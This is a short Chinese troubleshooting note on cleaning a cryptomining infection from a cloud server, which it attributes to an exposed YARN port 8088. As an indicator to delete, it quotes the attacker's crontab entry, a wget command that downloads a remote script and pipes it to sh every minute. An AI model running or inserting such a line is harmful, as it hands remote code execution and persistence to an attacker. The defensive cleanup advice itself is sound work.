云主机被挖矿情况以及解决办法

 

①用top命令，查看一下有没有cpu使用率很大的情况；

②如果有看一下对应得pid，ps -ef | grep pid 看一下有没有类似的文件：

                               /var/tmp/java -c /var/tmp/w.conf文件，有的话肯定被挖矿了，把它给删除；

③通过crontab -l 查看有一个* * * * * wget -q -O - http://xxxxxxxx/cr.sh | sh > /dev/null 2>&1任务，注释掉或者删除此任务；

④用yum remove wget 卸载掉wget命令

 

还有一个办法，挖矿这种情况，是因为开了8088端口，现在把YARN上的配置文件里的8088端口修改成其它的端口比如18088端口，然后把云主机的8088端口关闭掉，把18088端口打开就可以了。